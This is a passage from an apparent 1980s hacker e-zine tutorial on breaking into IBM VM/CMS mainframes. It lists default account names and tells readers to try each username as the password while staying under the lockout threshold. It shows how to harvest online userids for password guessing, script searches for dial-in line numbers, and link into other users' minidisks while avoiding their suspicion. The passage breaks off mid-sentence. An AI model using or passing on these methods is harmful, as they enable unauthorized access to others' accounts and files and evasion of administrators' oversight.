  2357. reached for userid and/or password attempts. You will receive this message
  2358. every time you attempt to logon after exceeding the threshold until a variable
  2359. period of time (Probably from 1 to 5 minutes) has elapsed. This locks out ALL
  2360. users who attempt to login to the system from that particuler line. I am not
  2361. sure whether this is recorded anywhere or whether it is sent to the System
  2362. Console so try to determine how many attempts normally trigger this and keep
  2363. just short of it.
  2364.  
  2365. "Already logged on": This message will appear when you attempt to logon with a
  2366. valid userid and password and that userid is already online. Unlike other
  2367. systems, VM/CMS will not allow the same userid to be logged on more than once.
  2368.  
  2369. "Userid missing or invalid": As it implies, nothing was typed after entering
  2370. the LOGON command, or the format for the userid was not correct, ie: using a
  2371. number as the first character or a control character was used somewhere in the
  2372. userid field.
  2373.  
  2374. "Error in CP directory": The CP directory is the main user directory for the
  2375. system. Entries in the directory contain: the userid and password, VM I/O
  2376. configuration, disk usage values, associated virtual and real addresses,
  2377. privilege classes, virtual processor size, and other options for each user.
  2378. Without the proper directory entry, a user cannot logon to the system.
  2379. Therefore receiving this error message.
  2380.  
  2381. "Command not valid before logon": This occurs when you enter anything other
  2382. than the commands listed in the menu, ie: entering BONEHEAD will return this
  2383. message even though "BONEHEAD" isn't a valid command. Why this is I don't know.
  2384. So don't get all excited that you found a valid command but couldn't execute it
  2385. since you weren't logged on.
  2386.  
  2387.  
  2388. Accounts:
  2389.  
  2390. By constantly compiling userids from various systems you should be able to
  2391. collect a nice list of accounts which may enable you to gain access to a
  2392. system. The following are a few which I have found:
  2393.  
  2394. OPERATOR
  2395. CMSBATCH
  2396. AUTOLOG1
  2397. OPERATNS
  2398. VMTEST
  2399. VMUTIL
  2400. MAINT
  2401. SMART
  2402. VTAM
  2403. EREP
  2404. RSCS
  2405. CMS
  2406. SNA
  2407.  
  2408. As usual, use the username as the password. Things still haven't changed from
  2409. the Hacking VAX/VMS series...people are just as stupid as they were a few years
  2410. ago.
  2411.  
  2412. There are many default accounts which have the passwords listed in some IBM
  2413. system manuals. These are hard to obtain and are very powerful since some
  2414. passwords are rarely changed. If you can get access to the defaults, it will
  2415. greatly expand your collection of systems, I guarantee it.
  2416.  
  2417.  
  2418. Dial:
  2419.  
  2420. DIAL is used to logically connect lines, whether they be switched (regular
  2421. dial-up phone lines), leased (dedicated), or logically attached (directly
  2422. connected), to a previously logged on multiple-access system. The DIAL command
  2423. is the only substitute for the logon command. On systems running more than one
  2424. Operating System, DIAL is used to connect the user to one of those systems.
  2425. It is rather common to find two or more Operating Systems running parallel or
  2426. "under" one another. This is quite different from most other systems, which run
  2427. alone on the machine. One machine, one Operating System, but not IBM. The
  2428. ability to have multiple systems running simultaneously and still providing the
  2429. user with the illusion of it being a single system, (ie: the whole idea behind
  2430. multi-tasking machines is to provide each user with the full resources of the
  2431. machine so quickly that it appears that he or she is the only one using the
  2432. system) sets IBM apart from most other computer manufacturers. Some of the
  2433. systems which run on IBM's are: VM/CMS, MVS/TSO, DOS/VSE, OS/VS1. Some others
  2434. are: MUSIC, JES and IX/370 which is IBM's version of UNIX which runs under
  2435. VM/SP.
  2436.  
  2437. It is always good to know what other systems are running, and if you are unable
  2438. to gain access to the 'primary' system, you may be able to gain access to one
  2439. of the 'secondary' system(s) by use of DIAL. Some systems will require you to
  2440. specify a line number for certain systems. Others will find a line for you if
  2441. one is not specified, assuming there are some allocated to that resource.
  2442. Userid's are also dialable. In some cases you have to dial through a particular
  2443. userid in order to gain access to certain systems or perform certain commands.
  2444. A typical logon to a DIALed system may look like:
  2445.  
  2446. .DIAL MUSICB
  2447.  
  2448. DIALED TO MUSICB   040
  2449.  
  2450. *Miscellaneous Computer Services MUSIC/SP 1.1  SIGN ON.
  2451.  
  2452. .RESET
  2453.  
  2454. DROP FROM MUSICB   040
  2455.  
  2456. VM/370
  2457. !
  2458.  
  2459. .
  2460.  
  2461. When it comes to finding a valid line number for systems that can be reached
  2462. via DIAL, you could be in for some trouble. If the system requires a line
  2463. number to be entered (unlike the above example, where line 040 was found
  2464. automatically) you will not only have to come up with a defined line number,
  2465. but one that is associated with the system you are attempting to access.
  2466. Usually you can find this information after logging on to the VM/CMS system in
  2467. various files, but if you cannot get in, you will have to sequentially enter
  2468. line numbers. Some that I have seen are 001, 01B, 41A, 040.
  2469.  
  2470. The VM/CMS system does not appear to limit the number of DIAL attempts a user
  2471. can make, unlike LOGON attempts. Programming your micro to search for a valid
  2472. line number to a system should work with no problem.
  2473.  
  2474. To drop the dialed connection just type RESET.
  2475.  
  2476. Error Messages:
  2477.  
  2478. "Line(s) not available on 'sysname'.": Either there are no lines allocated to
  2479. the system, or you must enter a correct line number.
  2480.  
  2481. "Invalid device type - 'sysname' 'line#': You have entered a valid system or
  2482. userid and line number, but the device you are on (the terminal) is invalid. In
  2483. this case, a GRAF (Graphics) device, system console or 3270 terminal may be the
  2484. only valid device.
  2485.  
  2486. "'userid' not logged on": The DIAL command cannot be executed unless the user
  2487. (or system) specified is logged on.
  2488.  
  2489. "'line#' does not exist": A valid userid/system has been entered but the line
  2490. number for that userid/system is not valid.
  2491.  
  2492.  
  2493. Message:
  2494.  
  2495. MSG is used to send messages to users who are currently logged on. This command
  2496. can be issued before (if specified by the logon menu) and after logging in.
  2497.  
  2498. MSG OPERATOR Help! I lost my password! My userid is COMOSOLO
  2499.  
  2500. This will send a message to the primary system operator of the system. If there
  2501. is only one CLASS A user online, the message will be sent to his terminal.
  2502.  
  2503. MSG *
  2504.  
  2505. This will send a message to yourself. This is useful for identifying the
  2506. current userid of an abandoned terminal.
  2507.  
  2508.  
  2509. Logoff:
  2510.  
  2511. The LOGOFF command can be abbreviated as LOG. After logging off you will
  2512. receive the following:
  2513.  
  2514. CONNECT= 00:33:54 VIRTCPU= 000:00.28 TOTCPU= 000:01.76
  2515. LOGOFF AT 17:05:44 EST THURSDAY 04/16/87
  2516.  
  2517. CONNECT is the actual clock time you spent while on the system.
  2518. VIRTCPU is the virtual CPU time that was used.
  2519. TOTCPU  is the total CPU time both virtual and overhead that was used.
  2520.  
  2521.  
  2522. The HOLD command will hold the connection allowing you to re-logon again
  2523. without having to re-dial the system.
  2524.  
  2525. .LOG HOLD
  2526.  
  2527.  
  2528. SECURITY SOFTWARE:
  2529. ------------------
  2530.  
  2531. There are various weaknesses within VM/CMS both internally and externally which
  2532. can be exploited. For this reason, various software security packages have been
  2533. written. There would not be a need for these in most cases if the people in
  2534. charge of system security knew what they were doing. Anyhow, these packages do
  2535. provide added security when properly implemented. The most commonly found are
  2536. VMSECURE and ACF2. TOP SECRET and RACF are others which are less common. These
  2537. packages are easily identified.
  2538.  
  2539. After entering a valid userid VMSECURE responds with:
  2540.  
  2541. VMXACI104R Enter logon password:
  2542.  **************************
  2543.  HHHHHHHHHHHHHHHHHHHHHHHHHH
  2544.  SSSSSSSSSSSSSSSSSSSSSSSSSS
  2545. .
  2546.  
  2547.  
  2548. One way to positively identify the use of VMSECURE is by using it as a userid.
  2549. If it is running it will be a valid userid, and who knows, you may even hack
  2550. the password.
  2551.  
  2552.  
  2553. After entering a bad password ACF2 (Access Control Faclity 2) responds with:
  2554.  
  2555. ACFV1012  PASSWORD NOT MATCHED
  2556. ACFV0044  ACF2, ENTER PASSWORD
  2557.  
  2558.  **************************
  2559.  HHHHHHHHHHHHHHHHHHHHHHHHHH
  2560.  SSSSSSSSSSSSSSSSSSSSSSSSSS
  2561. .
  2562.  
  2563. These packages provide information which SHOULD be inherent within the
  2564. Operating System itself. Perhaps newer versions of CMS will contain them. Some
  2565. of these features are:
  2566.  
  2567. * Last logon date/time
  2568. * Password expiration
  2569. * Rules for password selection
  2570. * Invalidating userids for invalid password attempts
  2571. * Invalidating terminals for invalid password attempts
  2572. * Shows users how many invalid password attempts have occured on their userid
  2573. * Increased file security
  2574.  
  2575.  
  2576. LOGGED ON:
  2577. ----------
  2578.  
  2579. After logging on you may receive something similar to the following:
  2580.  
  2581. DASD 190 LINKED R/O; R/W BY MAINT; R/O BY 030 USERS
  2582. LOGMSG - 10:40:25 EST FRIDAY 05/22/87
  2583. *********************************************************************
  2584. *            WELCOME TO MISCELLANEOUS COMPUTER SERVICES             *
  2585. *                              -VM1-                                *
  2586. * SYSTEM WILL BE DOWN FROM 10:00 TO 10:30 EST SUNDAY MAY 24, 1987   *
  2587. *********************************************************************
  2588. Logon at 13:22:59 EST FRIDAY 05/22/87
  2589. VM/SP REL 4 04/20/86 11:33
  2590.  
  2591. R; T=0.01/0.01 13:23:10
  2592. .
  2593.  
  2594. Line #1:  This line shows that the disk at virtual address 190 is linked with
  2595.           R/O access by you, R/W by userid MAINT and R/O by another 30 users.
  2596.  
  2597. Line #2:  This shows that the logon message was created at 10:40 on Friday.
  2598.  
  2599. Line #3-7:This is the message that is shown to all users of the system upon
  2600.           logging on. Some systems may not have one.
  2601.  
  2602. Line #8:  The actual time of logon is printed.
  2603.  
  2604. Line #9:  The current RELEASE of VM/SP and the time and date it was installed
  2605.           is shown.
  2606.  
  2607. Line #10: This is the ready message and it is printed after every command is
  2608.           performed where:
  2609.  
  2610. R= Ready  This indicates that the system is ready for input.
  2611. T= Time   The first series of numbers tells how long it took the system to
  2612.           perform the last task. The second set of numbers gives the time of
  2613.           day.
  2614.  
  2615.  
  2616.           If you do not receive the ready message you are in CP and must IPL
  2617.           CMS in order to issue CMS commands.
  2618.  
  2619. Line #11: The system prompt, you can now enter commands.
  2620.  
  2621.  
  2622. PRIVILEGE CLASSES:
  2623. ------------------
  2624.  
  2625. As with most other Operating Systems a user must have sufficient privileges in
  2626. order to execute certain commands. Every CP command belongs to one of eight IBM
  2627. defined privilege classes. The CP directory defines which users can use which
  2628. classes of commands. Each user has one or more privilege classes, as does each
  2629. CP command. If you try to issue a command that does not match the assigned
  2630. privilege class of the userid you are using, the system will not process the
  2631. command. As far as I know, no records of attempts to use privileged commands
  2632. are kept.
  2633.  
  2634.  
  2635. Class          User and Function
  2636. ---------------------------------
  2637.   A            Primary System Operator: The class A user has the ability to
  2638.                control the system. Any user who uses the VM/SP system console
  2639.                posseses this privilege class. This user can broadcast messages,
  2640.                control system accounting, and issue commands which affect the
  2641.                overall performance of the system.
  2642.  
  2643.   B            System Resource Operator: The class B user has the ability to
  2644.                control all the "real" resources of the system, except those
  2645.                controlled by the spooling and primary system operators.
  2646.  
  2647.   C            System Programmer: Class C users can modify real storage as
  2648.                opposed to virtual storage.
  2649.  
  2650.   D            Spooling Operator: The class D user controls spooling data
  2651.                files.
  2652.  
  2653.   E            System Analyst: Monitors and interprets system performance data.
  2654.  
  2655.   F            Service Representative: This class is usually given to accounts
  2656.                that IBM Field Service personnel use for updates and also for
  2657.                diagnosing system problems.
  2658.  
  2659.   G            General User:  Class G users are the most prominent on the
  2660.                system. This privilege allows the user to control functions
  2661.                associated with their own virtual machine.
  2662.  
  2663.   Any          The Any classification is given to certain CP commands which are
  2664.                available to any user. The commands are usually limited to Login
  2665.                and Logoff.
  2666.  
  2667.   H            Class H is reserved for IBM use.
  2668.  
  2669.  
  2670. Due to the individual needs of a site, privilege classes can be tailored to
  2671. suit the facility.  A total of up to 32 classes can be made. They would be
  2672. shown in the CP directory as A-Z and 1-6.
  2673.  
  2674. Typical Privilege Classes for a few common userids:
  2675.  
  2676. Userid:    P.C.
  2677. -------------------------
  2678. OPERATOR   A
  2679. EREP       F
  2680. OPERATNS   BCEG
  2681. MAINT      ABCDEFG
  2682.  
  2683.  
  2684.  
  2685. COMMANDS:
  2686. ---------
  2687.  
  2688. Commands are made up of command names, operands, and options.
  2689.  
  2690. Command Name: A command name is an alphanumeric symbol of up to 8 characters.
  2691.  
  2692. Operands: These specify the information on which the system operates when it
  2693. performs a command function.
  2694.  
  2695. Options: These keywords are used to control the execution of a command. When
  2696. used, they must be preceded by a left parentheses, but a closing one is not
  2697. necessary.
  2698.  
  2699. Different commands are used within different environments. To see which
  2700. environment you are in, simply hit return at the period prompt. You will
  2701. receive one of the following: CMS, CP, XEDIT.
  2702.  
  2703. There are many commands that are useful to both regular system users and
  2704. hackers. HELP is available on some systems, particularly on university systems.
  2705. It is extensive but not as clear as yes, UNIX or VMS which is typical of IBM.
  2706. Nevertheless, HELP is useful and you should get hardcopies of as many commands
  2707. as you can. AID is another form of HELP which may be useful to you in learning
  2708. more about the system.
  2709.  
  2710. One nice feature of CMS HELP is that when you receive an error message, you
  2711. can:
  2712.  
  2713. .HELP DMS000000 or DMK000000
  2714.  
  2715. Where DMS000000 or DMK000000 is the error message you have received. The system
  2716. will then explain what it is, why it happened and how you can correct it.
  2717.  
  2718. I am going to hold off on explaining any and all commands related to minidisks
  2719. until the next section. The others which I have found to be useful are as
  2720. follows.
  2721.  
  2722. You can issue any CP command while in CMS by precluding the command with CP.
  2723.  
  2724.  
  2725. QUERY
  2726.  
  2727. Query allows you to obtain various information about the system. A full list
  2728. can be found from using HELP.
  2729.  
  2730. One of the most important QUERY commands to the hacker is:
  2731.  
  2732. .Q NAMES
  2733.  
  2734. OPERATOR - 01F, SMART    - DSC, CMS0349  - B27, LOGO0180 - B31
  2735. VSM - VMVS1
  2736. SCOTT   -TP11WFM2, CMS1211 -TP11WF64, OPERATNS-TP11WFY1
  2737. R; T-0.01/0.01 11:34:28
  2738.  
  2739. There can be many users online, usually this list will contain from 30 to 100
  2740. users. The last user online was OPERATNS, since it was last in the list. The
  2741. SMART userid is DSC, or in a disconnected state. Usually a terminal will
  2742. remain disconnected for 15 to 30 minutes and then is totally logged off the
  2743. system. If you logon to an already disconnected terminal, the system will reply
  2744. with "RECONNECTED AT time". The other 2 userids on the same line as SMART are
  2745. probably connected terminals which are in a pre-logged in or pending logon
  2746. state. VSM - VMVS1 is another system running parallel to (or under) CMS.
  2747.  
  2748. The QUERY NAMES command allows you to gain a little more security for yourself
  2749. on the system. It allows you to gain more valid usernames to attempt passwords
  2750. for in the unfortunate event that your current userid dies. Another use is that
  2751. you can start to compile your "common accounts" list of userids which are found
  2752. on VM/CMS systems. This list should get larger and larger as you gain access to
  2753. more and more systems and will allow you to gain access to more systems as it
  2754. gets larger.
  2755.  
  2756.  
  2757. If you can't count how many users are online from the Q NAMES list:
  2758.  
  2759. .Q USERS
  2760.  
  2761. 0007 USERS, 0000 DIALED, 0000 NET
  2762.  
  2763.  
  2764. If you didn't catch the logon message you can view it again by:
  2765.  
  2766. .Q LOGMSG
  2767.  
  2768.  
  2769. To see what release of CMS the system is:
  2770.  
  2771. .Q CMSLEVEL
  2772.  
  2773. VM/SP REL. 4, SERVICE LEVEL 417
  2774.  
  2775. If you are wondering which IBM mainframe CMS is running on, you can issue:
  2776.  
  2777. .Q CPUID
  2778. FF01472343810000
  2779.  
  2780. This can be interpreted as follows:
  2781.  
  2782. CPUID= aabbbbbbccccdddd
  2783.  
  2784. aa= "FF" when running VM/SP
  2785. bbbbbb= The processor ID number
  2786. cccc= The model number of the system. In the above case, CMS is running on
  2787.       an IBM 4381 system.
  2788. dddd= "0000" This is not used for CP.
  2789.  
  2790.  
  2791. SENDFILE allows you to send files within any minidisk that is currently
  2792. accessed by you to another user. Anytime you send a file an entry is made in
  2793. the file USERID NETLOG (where USERID is the user you are sending the file to).
  2794. This command is also used for sending NOTE files which can be created with an
  2795. editor and send to whomever as E-MAIL.
  2796.  
  2797. If you are tired of seeing a text listing, or have attempted to read a compiled
  2798. program and wish to exit or break out of it, simply hit a hard-break, and then
  2799. type HX. HX is for Halt eXecution. It will halt whatever you are doing and put
  2800. you back into the CMS environment. It may take a few lines of text after
  2801. entering it for the system to stop the process.
  2802.  
  2803.  
  2804.  
  2805.                              --- End of Part A ---
  2806.                           --- Attach Part B here ---
  2807.  
  2808.  
  2809.  
  2810. (>View: hacking vm/cms part b.tj2
  2811. The LOD/H Technical Journal: File #9 of 10
  2812.  
  2813.  
  2814.                      Hacking IBM's VM/CMS Operating System
  2815.                                      PART B
  2816.  
  2817. Command Interpretation Chart: The following chart will compare the commands
  2818. used on VAX/VMS, UNIX, and VM/CMS to allow those who are familiar with the
  2819. other Operating Systems to quickly reference its CMS counterpart.
  2820.  
  2821. +-----------------+---------------+----------------------+--------------------+
  2822. ! VAX/VMS         ! UNIX          ! VM/CMS               ! SHORT EXPLANATION  !
  2823. +-----------------+---------------+----------------------+--------------------+
  2824. ! /NOCOMMAND      ! *****NONE**** ! NOIPL                ! aborts login pgm   !
  2825. +-----------------+---------------+----------------------+--------------------+
  2826. ! SHOW USERS      ! WHO           ! QUERY NAMES          ! online userlisting !
  2827. +-----------------+---------------+----------------------+--------------------+
  2828. ! DIRECTORY       ! LS            ! LISTFILE or FILELIST ! show current dir.  !
  2829. +-----------------+---------------+----------------------+--------------------+
  2830. ! TYPE filename   ! CAT filename  ! TYPE fname ftype fm  ! list or view files !
  2831. +-----------------+---------------+----------------------+--------------------+
  2832. ! EDIT            ! ED or VI or EX! XEDIT                ! system editor      !
  2833. +-----------------+---------------+----------------------+--------------------+
  2834. ! DELETE filename ! REMOVE filenme! ERASE fname ftype fm ! deletes files      !
  2835. +-----------------+---------------+----------------------+--------------------+
  2836. ! PHONE username  ! WRITE user    ! TELL userid          ! user communication !
  2837. +-----------------+---------------+----------------------+--------------------+
  2838. ! Control-Y       ! Ctrl-Backslash! Hard-break then HX   ! aborts process     !
  2839. +-----------------+---------------+----------------------+--------------------+
  2840.  
  2841. Corresponding files:
  2842.  
  2843. +-----------------+---------------+--------------+----------------------------+
  2844. ! SYSUAF.DAT      ! /ETC/PASSWD   ! USER DIRECT  ! Userlist & user information!
  2845. ! MAIL.TXT        ! USR/MAIL/user ! USERID NOTE  ! Electronic mail files      !
  2846. ! LOGIN.COM       ! .PROFILE      ! PROFILE EXEC ! User login command files   !
  2847. +---------------------------------+--------------+----------------------------+
  2848.  
  2849.  
  2850. Local Commands:
  2851. ---------------
  2852.  
  2853. Local commands are commands written for an individual system. They are
  2854. customized commands that suit a facilities' needs. These commands are execs
  2855. which are either not available from IBM or are cheaper to write on their
  2856. own. I will mention a few which may be found on other systems, as these are
  2857. rather common.
  2858.  
  2859. WHOIS
  2860.  
  2861. This command gives a little information about the users that you specify which
  2862. are on the system.
  2863.  
  2864. .WHOIS MAINT BACKUP MAILER BUBBA RELAY VMUTIL
  2865.  
  2866. Userid    Name
  2867. --------- ---------
  2868. MAINT     System Maintenance Account
  2869. BACKUP    VM System Backup and Recovery Machine
  2870. MAILER    BITNET Inter-Node Mail Processing Machine
  2871. BUBBA     Bubba B. Bonehead - Programmer/Analyst Extroadinaire
  2872. RELAY     BITNET Internet Chat Facility
  2873. VMUTIL    VM Utilization Statistics
  2874.  
  2875.  
  2876.  
  2877. SYSPASS
  2878. READPW
  2879. WRITEPW
  2880.  
  2881. In most cases, the only way to change a users' password is by having the system
  2882. operator or someone with high privileges do it. This is one reason why many
  2883. passwords remain the same for long periods of time. These programs allow users
  2884. to change their logon password, read access minidisk password and write access
  2885. minidisk password respectively. Perhaps you will find these or similar programs
  2886. on some systems.
  2887.  
  2888.  
  2889. Privileged Commands:
  2890. --------------------
  2891.  
  2892. As far as I know, there is no command to determine which privilege class the
  2893. userid you are abusing is. The only way is to check in the CP Directory for it.
  2894. The following are some privileged commands and what privilege class is needed
  2895. to run them. Again, as far as I know, the system keeps no records of failed
  2896. attempts at running privileged commands. Use of these commands are most likely
  2897. recorded, has a msg sent to the system console or both, especially when using
  2898. FORCE.
  2899.  
  2900.  
  2901. FORCE userid (Class A)
  2902.  
  2903. This command will forcibly log off the userid you specify. I really can see
  2904. no reason other than to be a total asshole for abusing this command.
  2905.  
  2906. DISABLE raddr (or) all  (Class A or B)
  2907.  
  2908. This is used to prevent specific terminals or all terminals from logging onto
  2909. the system. Again, there is no real reason to use this or most other privileged
  2910. commands for that matter unless you want to be kicked off of the machine. If
  2911. you do DISABLE a terminal, simply use ENABLE to repair the damage.
  2912.  
  2913. DETACH realaddr (FROM) whatever (Class B)
  2914.  
  2915. This is used to detach real devices from the system. These can be terminals,
  2916. printers, disk packs, tape drives, etc. You must know the real address of the
  2917. device, and 'whatever' can be the system, or a userid.
  2918.  
  2919. WARNING userid (or) operator or all (Class A or B)
  2920.  
  2921. Warning will send a priority message to a user, operator or all users on the
  2922. system. It will interrupt anything they happen to be doing. Obviously sending
  2923. a msg to all users stating they are BONEHEADS is not recommended.
  2924.  
  2925.  
  2926. MINIDISKS:
  2927. ----------
  2928.  
  2929. A minidisk is a subdivision of consecutive cylinders on a real DASD volume. The
  2930. real DASD device, is the actual disk the information is stored on. This can be
  2931. compared to a hard drive for an IBM PC. Before the drive can be used, it must
  2932. be formatted. Once formatted, it is divided up into directories which are
  2933. minidisks. Each minidisk is a number of cylinders which is the standard memory
  2934. storage unit. There can be many minidisks on a DASD.  Associated with each CMS
  2935. disk, is a file directory, which contains an entry for every CMS file on the
  2936. disk.  A minidisk can be defined for R/W or R/O access. It can also be used for
  2937. temporary or permanant storage of files. Each minidisk has a virtual address.
  2938. Virtual addresses can be from 001-5FF (hexidecimal) in basic control mode, and
  2939. 001-FFF in ECMODE (Extended Control Mode).
  2940.  
  2941. CMS minidisks can be accessed according to a letter of the alphabet (A-Z).  In
  2942. order to better explain this, lets assume we are logged onto a VM/CMS system
  2943. under the userid of JOE and we want to see what minidisks we have access to.
  2944. We use the QUERY SEARCH command to determine which disks we are ATTACHed to.
  2945.  
  2946. .Q SEARCH
  2947.  
  2948. JOE001  191  A    R/W
  2949. JOE002  192  D    R/O
  2950. CMS190  190  S    R/O
  2951. CMS19E  19E  Y/S  R/O
  2952.  
  2953.  
  2954. As can be seen each minidisk has a volume name, virtual address, filemode,
  2955. and access mode. The A disk is the default. Most accounts you gain access with
  2956. will have an A disk with a virtual address of 191. The S disk is the System
  2957. disk. This contains the files and programs for running the system. The same
  2958. goes for the Y disk. The D disk is another disk used by JOE.
  2959.  
  2960. You can view what each of these directories contains by issueing the LISTFILE
  2961. command.
  2962.  
  2963. .LISTF
  2964.  
  2965. BUBBA    NOTE     A1
  2966. MISC     WHATEVER A1
  2967. PROFILE  EXEC     A0
  2968.  
  2969.  
  2970. This is a list of files on the A disk. The first column is the Filename the
  2971. second is the Filetype and the third is the filemode. Filenames can be anything
  2972. you specify. Filetypes can also be anything you specify, but commonly follow a
  2973. pattern which tells what type of file it is. Filemodes are comprised of a
  2974. filemode letter (A-Z) and a filemode number (0-6).
  2975.  
  2976. Filenames can contain the following characters: A-Z  0-9  $  #  +  -  :  `  U
  2977.  
  2978. Here is an explanation of common filetypes:
  2979.  
  2980. Filetype ! Description
  2981. ---------+-------------
  2982. DATA     ! Data for programs or simply TYPE-able text.
  2983. EXEC     ! User written programs or IBM procedures written in REXX.
  2984. HELP     ! System HELP files.
  2985. HELPCMS  ! System HELP files.
  2986. LANGUAGE ! One of the langauges that the system supports, such as ASSEMBLE,
  2987.          ! COBOL, FORTRAN, JCL, REXX, PL1, SNOBALL, BINARY, ETC.
  2988. LISTING  ! Program source code listings
  2989. LOADLIB  ! Loading Library
  2990. MACLIB   ! Macro Library
  2991. MODULE   ! System commands
  2992. NETLOG   ! Contains a list of all files which have been SENT to other users.
  2993. NOTE     ! Similar to E-MAIL on other systems, a note sent from another user.
  2994. SOURCE   ! SOURCE code for various programs.
  2995. TEXT     ! Text file. Probably used for programs and when TYPEd yields little.
  2996. TXTLIB   ! Text Library
  2997. WHATEVER ! A nonstandard filetype which will probably be somewhat descriptive
  2998.          ! of its contents.
  2999. XEDIT    ! A file which was created using the XEDIT utility.
  3000.  
  3001.  
  3002. Both filenames and filetypes must not exceed 8 characters in length.
  3003.  
  3004.  
  3005. Filemodes:
  3006.  
  3007. Filemode numbers are classified as follows:
  3008.  
  3009. Filemode 0   There is little file security on VM/CMS.  This may be due to the
  3010.              fact that directory security is very good.  A file with a mode of
  3011.              zero makes that file invisible to other users unless they have
  3012.              Read/Write access to that disk.  When you LINK to someones' disk
  3013.              in Read/Only mode and get a directory listing, files with a mode
  3014.              of 0 will not be listed.
  3015.  
  3016. Filemode 1   This is the default filemode.  When reading or writing files, you
  3017.              do not have to specify a filemode letter of 1 (unless you want
  3018.              to) since it will default to it.
  3019.  
  3020. Filemode 2   This is basically the same as a filemode of 1.  It is mainly
  3021.              assigned to files which are shared by users who link to a common
  3022.              disk, like the system disk.
  3023.  
  3024. Filemode 3   Be careful when you see these!  These are erased after they have
  3025.              been read.  If a file with a mode of 3 is printed or read it will
  3026.              be erased.  Blindly reading files without paying attention to
  3027.              the filemode numbers can shorten your stay on the system.  The
  3028.              main reason for this filemode is for the files or programs which
  3029.              are unimportant or have one time use can be automatically deleted
  3030.              to keep disk space and maintenance to a minimum.
  3031.  
  3032. Filemode 4   This is used for files that are to simulate OS data sets. They are
  3033.              created by OS macros in programs running in CMS.  I have not found
  3034.              any files with this filemode, so for the time being, you should
  3035.              not be concerned about it.
  3036.  
  3037. Filemode 5   This is basically the same as filemode 1.  It is different in that
  3038.              its used for groups of files or programs.  It makes it easier for
  3039.              deleting files a user wants to keep for a certain period of time.
  3040.              You could just enter:
  3041.  
  3042.              ERASE * * A5
  3043.  
  3044.              Now all files on the A disk with a filemode of 5 will be deleted.
  3045.  
  3046. Filemode 6   Files with this mode are re-written back to disk in the same place
  3047.              which is called "update-in-place".  I have no idea why this would
  3048.              be specified, and have not found any files with a filemode of 6.
  3049.  
  3050.  
  3051. Filemode 7-9 These are reserved for IBM use.
  3052.  
  3053.  
  3054.  
  3055. Look back to our Q Search listing. If you want to see what is on the D disk:
  3056.  
  3057. .LISTF * * D
  3058.  
  3059. NOTMUCH ONHERE D1
  3060.  
  3061. In this case, the D disk only contains 1 file called NOTMUCH with a filetype of
  3062. ONHERE. But do not forget the fact that you only have Read/Only access to the
  3063. D minidisk! So there may or maynot be merely 1 file on the D disk. Remember all
  3064. filemodes of 0 (which in this case would be D0) are invisible to anyone who
  3065. does not posses Read/Write access.
  3066.  
  3067. You can access any disk that you are ATTACHed to by replacing the D in the
  3068. above example with the filemode letter (A-Z) you want to access. As was shown
  3069. previously, the QUERY SEARCH command will give you a list of minidisks that
  3070. your userid is attached to upon logging in. These command statements are
  3071. usually found in your PROFILE EXEC.
  3072.  
  3073.  
  3074. So you can access a few minidisks. There may be hundreds on the system. Unlike
  3075. UNIX and VMS, and most other Operating Systems for that matter you cannot issue
  3076. a command and some wildcard characters to view the contents of every users'
  3077. directory. In order to access another users' directory (minidisk) you must have
  3078. the following:
  3079.  
  3080. 1) The USERID of the person whose disk you wish to access.
  3081.  
  3082. 2) The virtual address(es) (CUU) that the USERID owns.
  3083.  
  3084. 3) The Read, Write, or Multi disk access password, depending on which
  3085.    access mode you wish to use.
  3086.  
  3087. This would be accomplished by the following:
  3088.  
  3089.  
  3090. .LINK TO BUBBA 191 AS 555 RR
  3091.  
  3092. Enter READ link password:
  3093.  *************************
  3094.  HHHHHHHHHHHHHHHHHHHHHHHHH
  3095.  SSSSSSSSSSSSSSSSSSSSSSSSS
  3096. .RBUBBA
  3097.  
  3098. R; T=0.01/0.01 21:58:48
  3099. .ACCESS 555 B
  3100.  
  3101. R; T=0.01/0.01 21:59:03
  3102. .Q SEARCH
  3103.  
  3104. JOE001  191  A    R/W
  3105. BUB001  555  B    R/O
  3106. JOE002  192  D    R/O
  3107. CMS190  190  S    R/O
  3108. CMS19E  19E  Y/S  R/O
  3109.  
  3110. .LISTF * * B
  3111.  
  3112. MISCFILE DATA     B1
  3113. PROFILE  EXEC     B1
  3114.  
  3115. .REL 555
  3116.  
  3117. R; T=0.01/0.01 22:02:01
  3118.  
  3119. Now an explanation for the events which have just occured.
  3120.  
  3121. The LINK command is used to access other users' minidisks. The format is:
  3122.  
  3123. .LINK (TO) USERID VADDR1 (AS) VADDR2 (MODE) ((PASS=)PASSWORD)
  3124.  
  3125. BUBBA is the USERID whose disk we wish to access.
  3126.  
  3127. VADDR1 is a virtual address which belongs to the BUBBA userid. If BUBBA was to
  3128. access our minidisk whose userid is JOE, he could access either our 191 address
  3129. or our 192 address. The 190 and 19E addresses are usually automatically
  3130. accessed by nearly all the users of the system since it contains system
  3131. commands. We are assuming that BUBBA indeed has a minidisk with the virtual
  3132. address of 191. Some userid's may not have any or they may have addresses which
  3133. are somewhat obscure, say of 13A or 503. The only way we would be able to
  3134. access those assuming BUBBA did not give them to us would be to guess them.
  3135. This would be rather difficult, timeconsuming, and dangerous as we will soon
  3136. see.
  3137.  
  3138. VADDR2 is any address which is not currently in our control, (ie. in our Q
  3139. Search which would be 190, 191, 192, 19E) and is in the range of 001 to 5FF in
  3140. Basic Control or FFF in Extended Control. In this example, we chose to use 555.
  3141. We could have easily used 104, 33F, 5FA, etc.
  3142.  
  3143. MODE is the access mode which consists of up to 2 letters. The first letter
  3144. specifies the Primary access mode. The second letter is optional and designates
  3145. the alternate access mode. If the primary mode is not available, the alternate
  3146. is used.
  3147.  
  3148. The access mode we used was RR. Valid access modes are:
  3149.  
  3150. R   Primary Read/Only access. This is the default. You can opt to not specify
  3151.     an access mode when linking to a users' disk, and this is the mode which is
  3152.     used. It will only work if no other links are in effect.
  3153.  
  3154. RR  This allows read access no matter what links are in effect to that users'
  3155.     disk.
  3156.  
  3157. W   Primary Write access. This is only good if no other links are in effect.
  3158.  
  3159. WR  If Write is available then the link will be made, if not it will goto Read.
  3160.  
  3161. M   Primary Multiple access.
  3162.  
  3163. MR  Resorts to Read if Multi is unavailabe.
  3164.  
  3165. MW  This garauntees write access no matter what.
  3166.  
  3167.  
  3168. If another user has write access to one of your disks when you log on, your
  3169. access will be forced to Read/Only. For this reason, you should have read
  3170. access to others disks instead of write. If you wish to see what files have a
  3171. filemode of zero, then link with write access, view or access those files, then
  3172. RELEASE the disk and re-access it via read to avoid suspicion by that user of
  3173. unauthorized individuals gaining write access to his files.
  3174.  
  3175. If a user has write access to a disk, you cannot gain write access unless you
